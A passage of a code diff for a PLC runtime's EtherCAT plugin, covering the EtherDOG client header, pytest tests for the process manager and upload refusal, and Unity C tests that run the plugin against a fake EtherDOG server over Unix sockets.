etherdog_link.h * @brief Client side of the EtherDOG protocol: JSON control lines and cyclic data datagrams. * - * The session file written by the webserver gives the control endpoint and the token. + * The session file written by the webserver gives the control endpoint, the data transport and + * the bus configuration to load when the bus starts. */ #ifndef ETHERDOG_LINK_H @@ -19,19 +20,23 @@ #define EDL_MAX_MASTERS 4 #define EDL_FRAME_HEADER 24 #define EDL_MAX_PAYLOAD 4096 +/** Largest control reply accepted, far above any real bus (a full 4 KB image is about 13 MB). */ +#define EDL_MAX_REPLY (64u * 1024u * 1024u) /** Default location of the session file the webserver writes before starting plc_main. */ #define EDL_SESSION_FILE "/run/runtime/etherdog.json" typedef struct { - char control[160]; /* "unix:" or "tcp:127.0.0.1:" */ - char token[160]; - bool udp; /* data transport: loopback UDP instead of AF_UNIX */ + char control[160]; /* "unix:" or "tcp:127.0.0.1:" */ + char token[160]; /* optional */ + char busconfig[512]; /* bus configuration file, "" when there is none */ + bool udp; /* data transport: loopback UDP instead of AF_UNIX */ } edl_session_t; typedef struct { int ctl_fd; - char rbuf[64 * 1024]; + char *rbuf; /* grows with the longest reply line */ + size_t rcap; size_t rlen; int data_fd; @@ -51,12 +56,15 @@ int edl_read_session(const char *path, edl_session_t *out, char *err, size_t err void edl_init(edl_link_t *link); -/** Connect the control socket and authenticate with "hello". */ +/** Connect the control socket and send "hello" (with the token, if any). */ int edl_connect(edl_link_t *link, const edl_session_t *session, char *err, size_t err_size); -/** Send one request line and read one response line. Returns 0, or -1 on I/O failure. */ -int edl_call(edl_link_t *link, const char *request, char *response, size_t response_size, - int timeout_ms); +/** + * @brief Send one request line and read one reply line of any length (up to EDL_MAX_REPLY). + * @param response set to the reply, heap-allocated; the caller frees it + * @return 0, or -1 on I/O failure, timeout or a reply over EDL_MAX_REPLY + */ +int edl_call(edl_link_t *link, const char *request, char **response, int timeout_ms); /** * @brief Bind a local datagram socket and ask EtherDOG to open the data session. @@ -78,7 +86,7 @@ int edl_recv_inputs(edl_link_t *link, uint8_t *buf, size_t buf_size, int timeout int edl_send_outputs(edl_link_t *link, int master, const uint8_t *payload, size_t len, bool valid); -/** Close the data socket (and unlink its path) and the control connection. */ +/** Close the data socket (and unlink its path) and the control connection; frees buffers. */ void edl_close(edl_link_t *link); /** Input frame flags. */ diff --git a/tests/pytest/discovery/test_etherdog_manager.py b/tests/pytest/discovery/test_etherdog_manager.py index 1339e3cb..26a21a67 100644 --- a/tests/pytest/discovery/test_etherdog_manager.py +++ b/tests/pytest/discovery/test_etherdog_manager.py @@ -5,7 +5,9 @@ import json import os +import shutil import socket +import subprocess import tempfile import threading import time @@ -59,11 +61,11 @@ def test_ethercat_plugin_reads_iomapping_file(tmp_path: Path) -> None: class FakeEtherDog: - """Unix-socket server that requires a token, then echoes the command it received.""" + """Unix-socket server that records each command and echoes it back.""" - def __init__(self, path: str, token: str) -> None: + def __init__(self, path: str) -> None: self.path = path - self.token = token + self.received: list[str] = [] self.sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM) self.sock.bind(path) self.sock.listen(4) @@ -77,16 +79,11 @@ def _serve(self) -> None: except OSError: return with conn, conn.makefile("rw", encoding="utf-8") as f: - hello = json.loads(f.readline()) - if hello.get("params", {}).get("token") != self.token: - f.write('{"error": "authentication failed"}\n') + for line in f: + command = json.loads(line)["command"] + self.received.append(command) + f.write(json.dumps({"status": "success", "echo": command}) + "\n") f.flush() - continue - f.write('{"status": "success", "name": "EtherDOG"}\n') - f.flush() - request = json.loads(f.readline()) - f.write(json.dumps({"status": "success", "echo": request["command"]}) + "\n") - f.flush() def close(self) -> None: self.sock.close() @@ -98,42 +95,107 @@ def run_dir(): yield Path(d) -def _manager(run_dir: Path, token: str) -> EtherDogManager: +def _manager(run_dir: Path) -> EtherDogManager: binary = run_dir / "etherdog-bin" binary.write_text("") - manager = EtherDogManager(binary=str(binary), run_dir=run_dir) - manager._token = token - return manager + return EtherDogManager(binary=str(binary), run_dir=run_dir, busconfig=run_dir / "bus.json") -def test_command_authenticates_and_returns_reply(run_dir: Path) -> None: - server = FakeEtherDog(str(run_dir / "etherdog.socket"), "secret") +def test_command_says_hello_and_returns_reply(run_dir: Path) -> None: + server = FakeEtherDog(str(run_dir / "etherdog.socket")) try: - reply = _manager(run_dir, "secret").command({"command": "status"}) + reply = _manager(run_dir).command({"command": "status"}) assert reply == {"status": "success", "echo": "status"} + assert server.received == ["hello", "status"] finally: server.close() -def test_command_rejected_with_wrong_token(run_dir: Path) -> None: - server = FakeEtherDog(str(run_dir / "etherdog.socket"), "secret") +def test_session_file_names_endpoint_transport_and_busconfig(run_dir: Path) -> None: + manager = _manager(run_dir) + manager._write_session() + session = json.loads(manager.paths.session_file.read_text()) + assert session["control"] == f"unix:{run_dir / 'etherdog.socket'}" + assert session["data"] in ("unix", "udp") + assert session["busconfig"] == str((run_dir / "bus.json").resolve()) + assert "token" not in session + assert os.stat(manager.paths.session_file).st_mode & 0o077 == 0 + + +def test_session_file_is_not_written_through_a_symlink(run_dir: Path) -> None: + manager = _manager(run_dir) + target = run_dir / "elsewhere" + target.write_text("keep") + manager.paths.session_file.symlink_to(target) + with pytest.raises(OSError): + manager._write_session() + assert target.read_text() == "keep" + + +def test_upload_stops_the_bus_and_only_stages_the_config(run_dir: Path) -> None: + server = FakeEtherDog(str(run_dir / "etherdog.socket")) + manager = _manager(run_dir) + manager._running = True + manager._process = subprocess.Popen(["sleep", "30"]) + source = run_dir / "upload.json" + source.write_text("[]") try: - manager = _manager(run_dir, "wrong") - with pytest.raises(EtherDogUnavailable): - manager.command({"command": "status"}) - assert "error" in manager.plugin_style_command({"command": "status"}, timeout=2.0) + manager.apply_busconfig(source) + assert (run_dir / "bus.json").read_text() == "[]" + assert server.received == ["hello", "stop"] # the plugin configures and starts it + + manager.apply_busconfig(None) + assert not (run_dir / "bus.json").exists() finally: + manager._process.kill() + manager._process.wait() server.close() -def test_session_file_is_private(run_dir: Path) -> None: - manager = _manager(run_dir, "") - manager._write_session() - session = json.loads(manager.paths.session_file.read_text()) - assert session["token"] == manager._token and len(session["token"]) == 64 - assert session["control"].startswith("unix:") - assert os.stat(manager.paths.session_file).st_mode & 0o077 == 0 - assert os.stat(manager.paths.token_file).st_mode & 0o077 == 0 +def test_leftover_etherdog_is_killed(run_dir: Path) -> None: + binary = run_dir / "etherdog-bin" + shutil.copy(shutil.which("sleep"), binary) + leftover = subprocess.Popen([str(binary), "30"]) + try: + manager = EtherDogManager(binary=str(binary), run_dir=run_dir) + assert etherdog_manager._processes_running(str(binary)) == [leftover.pid] + manager._kill_leftovers() + assert leftover.wait(timeout=5) != 0 + finally: + if leftover.poll() is None: + leftover.kill() + + +def test_startup_errors_on_stderr_are_logged_as_errors(run_dir: Path, monkeypatch, caplog) -> None: + monkeypatch.setattr(etherdog_manager, "READY_TIMEOUT_S", 0.3) + manager = _fake_binary( + run_dir, "echo '[2026-01-01 00:00:00] [ERROR] [BUS] bad config'; sleep 30" + ) + try: + with caplog.at_level("ERROR"): + manager._spawn() + assert _wait_for(lambda: any("bad config" in r.message for r in caplog.records)) + record = next(r for r in caplog.records if "bad config" in r.message) + assert record.levelname == "ERROR" + assert record.message == "[BUS] bad config" + finally: + manager._process.kill() + manager._process.wait() + + +def test_stop_reaps_a_process_it_had_to_kill(run_dir: Path, monkeypatch) -> None: + manager = _fake_binary(run_dir, "trap '' TERM INT; sleep 30") + manager._process = subprocess.Popen([manager.paths.binary]) + manager._running = True + monkeypatch.setattr(manager, "command", lambda *a, **k: {}) + real_wait = manager._process.wait + + def short_wait(timeout=None): + return real_wait(timeout=0.2 if timeout == 10 else timeout) + + monkeypatch.setattr(manager._process, "wait", short_wait) + manager.stop() + assert manager._process.returncode is not None def _fake_binary(run_dir: Path, body: str) -> EtherDogManager: @@ -238,30 +300,3 @@ def test_clean_exit_is_not_restarted(run_dir: Path) -> None: time.sleep(0.5) assert _launches(run_dir) == 1 assert manager.disabled_reason is None - - -def test_stale_etherdog_is_shut_down(run_dir: Path) -> None: - manager = _manager(run_dir, "") - manager.paths.token_file.parent.mkdir(parents=True, exist_ok=True) - manager.paths.token_file.write_text("ab" * 32 + "\n") - server = FakeEtherDog(str(run_dir / "etherdog.socket"), "ab" * 32) - received: list[str] = [] - original = manager.command - - def record(request: dict, timeout: float = 10.0) -> dict: - received.append(request["command"]) - reply = original(request, timeout) - server.close() - return reply - - manager.command = record # type: ignore[method-assign] - manager._stop_stale() - assert received == ["shutdown"] - - -def test_token_survives_restart(run_dir: Path) -> None: - manager = _manager(run_dir, "") - manager._write_session() - first = manager._token - manager._write_session() - assert manager._token == first diff --git a/tests/pytest/restapi/test_ethercat_upload.py b/tests/pytest/restapi/test_ethercat_upload.py new file mode 100644 index 00000000..fad3cd57 --- /dev/null +++ b/tests/pytest/restapi/test_ethercat_upload.py @@ -0,0 +1,61 @@ +# SPDX-License-Identifier: MIT +# Copyright (c) 2026 Autonomy® + +"""Uploads carrying the pre-split EtherCAT configuration are refused before anything changes.""" + +import io +import json +import zipfile + +import pytest + + +def _program_zip(files: dict[str, str]) -> bytes: + buf = io.BytesIO() + with zipfile.ZipFile(buf, "w") as zf: + for name, text in files.items(): + zf.writestr(name, text) + return buf.getvalue() + + +def _upload(blob: bytes) -> dict: + from webserver import app as app_module + + data = {"file": (io.BytesIO(blob), "program.zip")} + with app_module.app.test_request_context( + "/api/upload-file", method="POST", data=data, content_type="multipart/form-data" + ): + return app_module.handle_upload_file({}) + + +@pytest.fixture +def busconfig_calls(monkeypatch): + from webserver import app as app_module + + calls: list = [] + monkeypatch.setattr(app_module.etherdog_manager, "apply_busconfig", calls.append) + return calls + + +def test_legacy_ethercat_upload_is_refused_with_versions(busconfig_calls) -> None: + legacy = json.dumps([{"name": "m0", "protocol": "ETHERCAT", "config": {}}]) + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM", "conf/ethercat.json": legacy})) + + message = result["UploadFileFail"] + assert "conf/ethercat.json" in message + assert "4.3.0" in message and "OpenPLC Editor 4.3.2" in message + assert result["CompilationStatus"] == "FAILED" + assert busconfig_calls == [] + + +def test_empty_legacy_file_is_not_refused(busconfig_calls, monkeypatch) -> None: + """Editors before the split always wrote an empty ethercat.json; that alone is fine.""" + from webserver import app as app_module + + monkeypatch.setattr(app_module, "safe_extract", lambda *a, **k: None) + monkeypatch.setattr(app_module, "apply_vpp_plugin_conf", lambda *a, **k: None) + monkeypatch.setattr(app_module, "apply_retain_conf", lambda *a, **k: None) + monkeypatch.setattr(app_module, "update_plugin_configurations", lambda *a, **k: None) + result = _upload(_program_zip({"program.st": "PROGRAM p END_PROGRAM", "conf/ethercat.json": ""})) + + assert "conf/ethercat.json" not in str(result.get("UploadFileFail", "")) diff --git a/tests/support/ethercat_stubs.c b/tests/support/ethercat_stubs.c deleted file mode 100644 index 06327e7c..00000000 --- a/tests/support/ethercat_stubs.c +++ /dev/null @@ -1,74 +0,0 @@ -// SPDX-License-Identifier: MIT -// Copyright (c) 2026 Autonomy® - -/** - * @file ethercat_stubs.c - * @brief Link-time stubs for symbols referenced by ethercat_io.c / - * ethercat_master.c that are not exercised in unit tests. - * - * These let test binaries link without dragging in the entire EtherCAT - * master (which depends on SOEM + a live network interface). Tests that - * actually want to verify behavior of plugin_logger or ecat_master can - * provide their own non-weak definitions to override these. - */ - -#include "ethercat_config.h" -#include "ethercat_master.h" -#include "plugin_logger.h" - -#include -#include - -/* ---- plugin_logger: variadic, no-op ---- */ - -__attribute__((weak)) void plugin_logger_info(plugin_logger_t *logger, const char *fmt, ...) -{ - (void)logger; - (void)fmt; -} - -__attribute__((weak)) void plugin_logger_warn(plugin_logger_t *logger, const char *fmt, ...) -{ - (void)logger; - (void)fmt; -} - -__attribute__((weak)) void plugin_logger_error(plugin_logger_t *logger, const char *fmt, ...) -{ - (void)logger; - (void)fmt; -} - -__attribute__((weak)) void plugin_logger_debug(plugin_logger_t *logger, const char *fmt, ...) -{ - (void)logger; - (void)fmt; -} - -/* ---- ecat_master accessors: return safe defaults ---- */ - -__attribute__((weak)) uint8_t *ecat_master_get_iomap(ecat_master_instance_t *inst) -{ - (void)inst; - return NULL; -} - -__attribute__((weak)) const ec_slavet *ecat_master_get_slave(ecat_master_instance_t *inst, - int position) -{ - (void)inst; - (void)position; - return NULL; -} - -__attribute__((weak)) size_t ecat_master_get_iomap_size(ecat_master_instance_t *inst) -{ - (void)inst; - return 0; -} - -__attribute__((weak)) int ecat_master_get_slave_count(ecat_master_instance_t *inst) -{ - (void)inst; - return 0; -} diff --git a/tests/test_ethercat_iec_location.c b/tests/test_ethercat_iec_location.c index 3529b73f..5e971371 100644 --- a/tests/test_ethercat_iec_location.c +++ b/tests/test_ethercat_iec_location.c @@ -163,3 +163,20 @@ void test_iec_location_OnlyPercent_ShouldFail(void) iec_location_t loc; TEST_ASSERT_EQUAL_INT(-1, ecat_io_parse_iec_location("%", &loc)); } + +/* ---- Invalid: byte index out of range ---- */ + +void test_iec_location_ByteIndexBeyondIntRange_ShouldFail(void) +{ + iec_location_t loc; + TEST_ASSERT_EQUAL_INT(-1, ecat_io_parse_iec_location("%QX4294967295.0", &loc)); + TEST_ASSERT_EQUAL_INT(-1, ecat_io_parse_iec_location("%QX99999999999999999999.0", &loc)); +} + +void test_iec_location_ByteIndexAboveJournalRange_ShouldFail(void) +{ + iec_location_t loc; + TEST_ASSERT_EQUAL_INT(-1, ecat_io_parse_iec_location("%IW65536", &loc)); + TEST_ASSERT_EQUAL_INT(0, ecat_io_parse_iec_location("%IW65535", &loc)); + TEST_ASSERT_EQUAL_INT(65535, loc.byte_index); +} diff --git a/tests/test_ethercat_iomap.c b/tests/test_ethercat_iomap.c index d5d0ccae..9c5de126 100644 --- a/tests/test_ethercat_iomap.c +++ b/tests/test_ethercat_iomap.c @@ -235,3 +235,15 @@ void test_publish_inputs_writes_journal(void) TEST_ASSERT_EQUAL_INT(3, last_int_index); TEST_ASSERT_EQUAL_HEX16(0x1234, last_int_value); } + +void test_load_rejects_duplicate_master_names(void) +{ + FILE *fp = fopen(TMPFILE, "w"); + TEST_ASSERT_NOT_NULL(fp); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[]}," + "{\"name\":\"m0\",\"entries\":[]}]}"); + fclose(fp); + char err[256]; + TEST_ASSERT_EQUAL_INT(-1, ecat_iomap_load(TMPFILE, &map, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "used twice")); +} diff --git a/tests/test_ethercat_relay.c b/tests/test_ethercat_relay.c new file mode 100644 index 00000000..2d577a23 --- /dev/null +++ b/tests/test_ethercat_relay.c @@ -0,0 +1,337 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file test_ethercat_relay.c + * @brief EtherCAT plugin against a fake EtherDOG: start, inputs, reconnect, stop. + */ + +#include "etherdog_link.h" +#include "plugin_types.h" +#include "unity.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +TEST_SOURCE_FILE("core/src/drivers/plugins/native/cjson/cJSON.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/plugin_logger.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/etherdog_link.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/ethercat_iomap.c") +TEST_SOURCE_FILE("core/src/drivers/plugins/native/ethercat/ethercat_plugin.c") + +int init(void *args); +int start_loop(void); +void stop_loop(void); + +#define SESSION_ID 0xABull + +static const char *LAYOUT = + "{\"status\":\"success\",\"masters\":[{\"index\":0,\"name\":\"m0\",\"state\":\"OPERATIONAL\"," + "\"ready\":true,\"output_bytes\":1,\"input_bytes\":1,\"entries\":[" + "{\"slave\":1,\"pdo\":\"0x1a00\",\"index\":\"0x6000\",\"subindex\":1,\"direction\":\"input\"," + "\"bit_offset\":0,\"bit_length\":1,\"data_type\":\"BOOL\",\"name\":\"In1\"}]}]}"; + +static char ctl_path[108], data_path[108], session_path[128], mapping_path[128]; + +/* --- fake EtherDOG ----------------------------------------------------------------------- */ + +static int listen_fd = -1; +static int data_fd = -1; +static struct sockaddr_un client_addr; +static atomic_bool serving, feeding, have_client; +static atomic_int n_configure, n_start, n_stop; +static pthread_t ctl_thread, feed_thread; + +static void reply(int fd, const char *text) +{ + send(fd, text, strlen(text), 0); + send(fd, "\n", 1, 0); +} + +static void handle(int fd, const char *line) +{ + if (strstr(line, "\"hello\"")) { + reply(fd, "{\"status\":\"success\",\"name\":\"EtherDOG\"}"); + } else if (strstr(line, "\"configure\"")) { + atomic_fetch_add(&n_configure, 1); + reply(fd, "{\"status\":\"success\",\"masters\":[{\"index\":0,\"name\":\"m0\",\"task_priority\":50}]}"); + } else if (strstr(line, "\"start\"")) { + atomic_fetch_add(&n_start, 1); + reply(fd, "{\"status\":\"success\",\"started\":1,\"total\":1}"); + } else if (strstr(line, "\"layout\"")) { + reply(fd, LAYOUT); + } else if (strstr(line, "\"open_data\"")) { + const char *ep = strstr(line, "unix:"); + memset(&client_addr, 0, sizeof(client_addr)); + client_addr.sun_family = AF_UNIX; + size_t i = 0; + for (ep += 5; *ep && *ep != '"' && i < sizeof(client_addr.sun_path) - 1; ep++) + client_addr.sun_path[i++] = *ep; + atomic_store(&have_client, true); + atomic_store(&feeding, true); + char text[256]; + snprintf(text, sizeof(text), + "{\"status\":\"success\",\"masters\":[{\"index\":0,\"endpoint\":\"unix:%s\"," + "\"session\":\"%016llx\"}]}", + data_path, (unsigned long long)SESSION_ID); + reply(fd, text); + } else if (strstr(line, "\"close_data\"")) { + atomic_store(&feeding, false); + reply(fd, "{\"status\":\"success\"}"); + } else if (strstr(line, "\"stop\"")) { + atomic_fetch_add(&n_stop, 1); + atomic_store(&feeding, false); + reply(fd, "{\"status\":\"success\"}"); + } else { + reply(fd, "{\"error\":\"unknown\"}"); + } +} + +static void *serve_control(void *arg) +{ + (void)arg; + while (atomic_load(&serving)) { + struct pollfd p = { .fd = listen_fd, .events = POLLIN }; + if (poll(&p, 1, 50) <= 0) + continue; + int fd = accept(listen_fd, NULL, NULL); + if (fd < 0) + continue; + char buf[4096]; + size_t used = 0; + while (atomic_load(&serving)) { + struct pollfd c = { .fd = fd, .events = POLLIN }; + if (poll(&c, 1, 50) <= 0) + continue; + ssize_t n = recv(fd, buf + used, sizeof(buf) - 1 - used, 0); + if (n <= 0) + break; + used += (size_t)n; + buf[used] = '\0'; + char *nl; + while ((nl = strchr(buf, '\n')) != NULL) { + *nl = '\0'; + handle(fd, buf); + used -= (size_t)(nl + 1 - buf); + memmove(buf, nl + 1, used + 1); + } + } + close(fd); + } + return NULL; +} + +static void put_le(uint8_t *p, uint64_t v, int n) +{ + for (int i = 0; i < n; i++) + p[i] = (uint8_t)(v >> (8 * i)); +} + +/* One input frame every 5 ms while feeding: bit 0 set. */ +static void *feed_inputs(void *arg) +{ + (void)arg; + uint32_t seq = 0; + while (atomic_load(&serving)) { + if (atomic_load(&feeding) && atomic_load(&have_client)) { + uint8_t f[EDL_FRAME_HEADER + 1]; + memcpy(f, "EDOG", 4); + f[4] = 1; + f[5] = 2; + f[6] = 0; + f[7] = EDL_FLAG_VALID | EDL_FLAG_WKC_OK; + put_le(f + 8, SESSION_ID, 8); + put_le(f + 16, ++seq, 4); + put_le(f + 20, 1, 2); + put_le(f + 22, 1, 2); + f[EDL_FRAME_HEADER] = 0x01; + sendto(data_fd, f, sizeof(f), 0, (struct sockaddr *)&client_addr, sizeof(client_addr)); + } + usleep(5000); + } + return NULL; +} + +/* --- fake runtime ------------------------------------------------------------------------ */ + +#define BUF 8 +static IEC_BOOL bool_vals[BUF][8]; +static IEC_BOOL *bool_ptrs[BUF][8]; +static plugin_runtime_args_t args; +static atomic_int input_bit_writes; +static char warnings[4096]; +static pthread_mutex_t warn_lock = PTHREAD_MUTEX_INITIALIZER; + +static void noop_lock(void) {} +static int fake_bool(int type, int index, int bit, int value) +{ + (void)type; + if (index == 0 && bit == 0 && value == 1) + atomic_fetch_add(&input_bit_writes, 1); + return 0; +} +static int fake_byte(int t, int i, int v) { (void)t; (void)i; (void)v; return 0; } +static int fake_int(int t, int i, int v) { (void)t; (void)i; (void)v; return 0; } +static int fake_dint(int t, int i, unsigned int v) { (void)t; (void)i; (void)v; return 0; } +static int fake_lint(int t, int i, unsigned long long v) { (void)t; (void)i; (void)v; return 0; } +static void log_quiet(const char *fmt, ...) { (void)fmt; } +static void log_warn(const char *fmt, ...) +{ + char line[512]; + va_list ap; + va_start(ap, fmt); + vsnprintf(line, sizeof(line), fmt, ap); + va_end(ap); + pthread_mutex_lock(&warn_lock); + strncat(warnings, line, sizeof(warnings) - strlen(warnings) - 2); + strcat(warnings, "\n"); + pthread_mutex_unlock(&warn_lock); +} + +static bool wait_for(atomic_int *counter, int at_least, int timeout_ms) +{ + for (int t = 0; t < timeout_ms; t += 10) { + if (atomic_load(counter) >= at_least) + return true; + usleep(10000); + } + return false; +} + +static double now_s(void) +{ + struct timespec ts; + clock_gettime(CLOCK_MONOTONIC, &ts); + return ts.tv_sec + ts.tv_nsec / 1e9; +} + +void setUp(void) +{ + long pid = (long)getpid(); + snprintf(ctl_path, sizeof(ctl_path), "/tmp/edog-relay-ctl-%ld.sock", pid); + snprintf(data_path, sizeof(data_path), "/tmp/edog-relay-data-%ld.sock", pid); + snprintf(session_path, sizeof(session_path), "/tmp/edog-relay-session-%ld.json", pid); + snprintf(mapping_path, sizeof(mapping_path), "/tmp/edog-relay-map-%ld.json", pid); + unlink(ctl_path); + unlink(data_path); + + FILE *fp = fopen(session_path, "w"); + fprintf(fp, "{\"control\":\"unix:%s\",\"data\":\"unix\",\"busconfig\":\"/tmp/bus.json\"}", ctl_path); + fclose(fp); + fp = fopen(mapping_path, "w"); + fprintf(fp, "{\"version\":1,\"masters\":[{\"name\":\"m0\",\"entries\":[{\"slave\":1," + "\"index\":\"0x6000\",\"subindex\":1,\"iec_location\":\"%%IX0.0\"}]}]}"); + fclose(fp); + setenv("ETHERDOG_SESSION_FILE", session_path, 1); + + struct sockaddr_un a; + memset(&a, 0, sizeof(a)); + a.sun_family = AF_UNIX; + snprintf(a.sun_path, sizeof(a.sun_path), "%s", ctl_path); + listen_fd = socket(AF_UNIX, SOCK_STREAM, 0); + TEST_ASSERT_EQUAL_INT(0, bind(listen_fd, (struct sockaddr *)&a, sizeof(a))); + TEST_ASSERT_EQUAL_INT(0, listen(listen_fd, 4)); + snprintf(a.sun_path, sizeof(a.sun_path), "%s", data_path); + data_fd = socket(AF_UNIX, SOCK_DGRAM, 0); + TEST_ASSERT_EQUAL_INT(0, bind(data_fd, (struct sockaddr *)&a, sizeof(a))); + + atomic_store(&serving, true); + atomic_store(&feeding, false); + atomic_store(&have_client, false); + atomic_store(&n_configure, 0); + atomic_store(&n_start, 0); + atomic_store(&n_stop, 0); + atomic_store(&input_bit_writes, 0); + warnings[0] = '\0'; + pthread_create(&ctl_thread, NULL, serve_control, NULL); + pthread_create(&feed_thread, NULL, feed_inputs, NULL); + + memset(&args, 0, sizeof(args)); + for (int i = 0; i < BUF; i++) + for (int b = 0; b < 8; b++) + bool_ptrs[i][b] = &bool_vals[i][b]; + args.bool_input = bool_ptrs; + args.bool_output = bool_ptrs; + args.buffer_size = BUF; + args.image_lock = noop_lock; + args.image_unlock = noop_lock; + args.journal_write_bool = fake_bool; + args.journal_write_byte = fake_byte; + args.journal_write_int = fake_int; + args.journal_write_dint = fake_dint; + args.journal_write_lint = fake_lint; + args.log_info = log_quiet; + args.log_debug = log_quiet; + args.log_warn = log_warn; + args.log_error = log_warn; + snprintf(args.plugin_specific_config_file_path, sizeof(args.plugin_specific_config_file_path), + "%s", mapping_path); +} + +void tearDown(void) +{ + atomic_store(&serving, false); + pthread_join(ctl_thread, NULL); + pthread_join(feed_thread, NULL); + close(listen_fd); + close(data_fd); + unlink(ctl_path); + unlink(data_path); + unlink(session_path); + unlink(mapping_path); +} + +void test_start_configures_starts_and_publishes_inputs(void) +{ + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_configure)); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_start)); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 3, 2000)); + + double t0 = now_s(); + stop_loop(); + TEST_ASSERT_TRUE(now_s() - t0 < 1.0); + TEST_ASSERT_EQUAL_INT(1, atomic_load(&n_stop)); +} + +void test_relay_reconnects_and_warns_when_etherdog_goes_quiet(void) +{ + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(0, start_loop()); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, 1, 2000)); + + atomic_store(&feeding, false); /* EtherDOG stops sending: the relay must notice */ + TEST_ASSERT_TRUE(wait_for(&n_start, 2, 4000)); + TEST_ASSERT_EQUAL_INT(2, atomic_load(&n_configure)); + int before = atomic_load(&input_bit_writes); + TEST_ASSERT_TRUE(wait_for(&input_bit_writes, before + 3, 2000)); + + stop_loop(); + pthread_mutex_lock(&warn_lock); + TEST_ASSERT_NOT_NULL(strstr(warnings, "link to EtherDOG lost")); + pthread_mutex_unlock(&warn_lock); +} + +void test_start_without_etherdog_fails_cleanly(void) +{ + atomic_store(&serving, false); + pthread_join(ctl_thread, NULL); + close(listen_fd); + listen_fd = socket(AF_UNIX, SOCK_STREAM, 0); /* tearDown closes it */ + unlink(ctl_path); + atomic_store(&serving, true); + pthread_create(&ctl_thread, NULL, serve_control, NULL); + + TEST_ASSERT_EQUAL_INT(0, init(&args)); + TEST_ASSERT_EQUAL_INT(-1, start_loop()); +} diff --git a/tests/test_etherdog_link.c b/tests/test_etherdog_link.c new file mode 100644 index 00000000..bc26e4b1 --- /dev/null +++ b/tests/test_etherdog_link.c @@ -0,0 +1,263 @@ +// SPDX-License-Identifier: MIT +// Copyright (c) 2026 Autonomy® + +/** + * @file test_etherdog_link.c + * @brief Unit tests for the EtherDOG client: session file, control replies and data frames. + */ + +#include "etherdog_link.h" +#include "unity.h" + +#include +#include +#include +#include +#include +#include + +TEST_SOURCE_FILE("core/src/drivers/plugins/native/cjson/cJSON.c") + +static const char *SESSION = "test_etherdog_link_session.json"; +static edl_link_t lk; +static int peer = -1; + +void setUp(void) +{ + edl_init(&lk); + peer = -1; +} + +void tearDown(void) +{ + edl_close(&lk); + if (peer >= 0) + close(peer); + remove(SESSION); +} + +static void write_session(const char *json) +{ + FILE *fp = fopen(SESSION, "w"); + TEST_ASSERT_NOT_NULL(fp); + fputs(json, fp); + fclose(fp); +} + +static void put_le(uint8_t *p, uint64_t v, int n) +{ + for (int i = 0; i < n; i++) + p[i] = (uint8_t)(v >> (8 * i)); +} + +/* An input frame as EtherDOG sends it. */ +static size_t make_frame(uint8_t *buf, uint8_t kind, uint8_t master, uint64_t session, + uint16_t len, uint8_t flags) +{ + memcpy(buf, "EDOG", 4); + buf[4] = 1; + buf[5] = kind; + buf[6] = master; + buf[7] = flags; + put_le(buf + 8, session, 8); + put_le(buf + 16, 1, 4); + put_le(buf + 20, len, 2); + put_le(buf + 22, 3, 2); + for (int i = 0; i < len; i++) + buf[EDL_FRAME_HEADER + i] = (uint8_t)(0xA0 + i); + return EDL_FRAME_HEADER + len; +} + +static void open_data_pair(uint64_t session) +{ + int sv[2]; + TEST_ASSERT_EQUAL_INT(0, socketpair(AF_UNIX, SOCK_DGRAM, 0, sv)); + lk.data_fd = sv[0]; + peer = sv[1]; + lk.open[0] = true; + lk.session[0] = session; +} + +/* --- session file ------------------------------------------------------------------------ */ + +void test_session_reads_endpoint_transport_and_busconfig(void) +{ + write_session("{\"control\":\"unix:/run/x.sock\",\"data\":\"udp\",\"busconfig\":\"/b.json\"}"); + edl_session_t s; + char err[256]; + TEST_ASSERT_EQUAL_INT(0, edl_read_session(SESSION, &s, err, sizeof(err))); + TEST_ASSERT_EQUAL_STRING("unix:/run/x.sock", s.control); + TEST_ASSERT_TRUE(s.udp); + TEST_ASSERT_EQUAL_STRING("/b.json", s.busconfig); + TEST_ASSERT_EQUAL_STRING("", s.token); +} + +void test_session_disabled_returns_reason(void) +{ + write_session("{\"disabled\":\"Npcap is not installed\"}"); + edl_session_t s; + char err[256]; + TEST_ASSERT_EQUAL_INT(EDL_DISABLED, edl_read_session(SESSION, &s, err, sizeof(err))); + TEST_ASSERT_NOT_NULL(strstr(err, "Npcap is not installed")); +} + +void test_session_missing_file_fails(void) +{ + edl_session_t s; + char err[256]; + TEST_ASSERT_EQUAL_INT(-1, edl_read_session("/nonexistent/etherdog.json", &s, err, sizeof(err))); +} + +/* --- control replies --------------------------------------------------------------------- */ + +#define BIG_REPLY (1024 * 1024) + +static void *big_reply_server(void *arg) +{ + int fd = *(int *)arg; + char req[256]; + if (recv(fd, req, sizeof(req), 0) <= 0) + return NULL; + char *line = malloc(BIG_REPLY + 1); + memset(line, 'x', BIG_REPLY); + line[0] = '"'; + line[BIG_REPLY - 1] = '"'; + line[BIG_REPLY] = '\n'; + size_t off = 0; + while (off < BIG_REPLY + 1) { + ssize_t n = send(fd, line + off, BIG_REPLY + 1 - off, 0); + if (n <= 0) + break; + off += (size_t)n; + } + free(line); + return NULL; +} + +void test_call_returns_reply_longer_than_initial_buffer(void) +{ + int sv[2]; + TEST_ASSERT_EQUAL_INT(0, socketpair(AF_UNIX, SOCK_STREAM, 0, sv)); + lk.ctl_fd = sv[0]; + peer = sv[1]; + pthread_t t; + pthread_create(&t, NULL, big_reply_server, &peer); + + char *reply = NULL; + TEST_ASSERT_EQUAL_INT(0, edl_call(&lk, "{\"command\":\"layout\"}", &reply, 5000)); + pthread_join(t, 